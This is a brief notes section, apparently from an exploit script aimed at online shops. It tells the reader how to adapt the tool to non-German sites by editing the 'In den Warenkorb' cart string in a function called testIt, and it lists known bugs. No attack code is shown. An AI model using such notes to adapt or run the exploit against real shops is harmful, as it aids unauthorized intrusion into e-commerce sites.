    Important info to this Exploit:
        If you want to use it on a non-german site you have to edit the string in testIt "In den Warenkorb"!
    Known Bugs:
        -> Some servers response 500 - Internal Server Error. Dunno why :(
        -> On non-german shops you must edit the function testIt. It does not fetch a keyword automatic :/
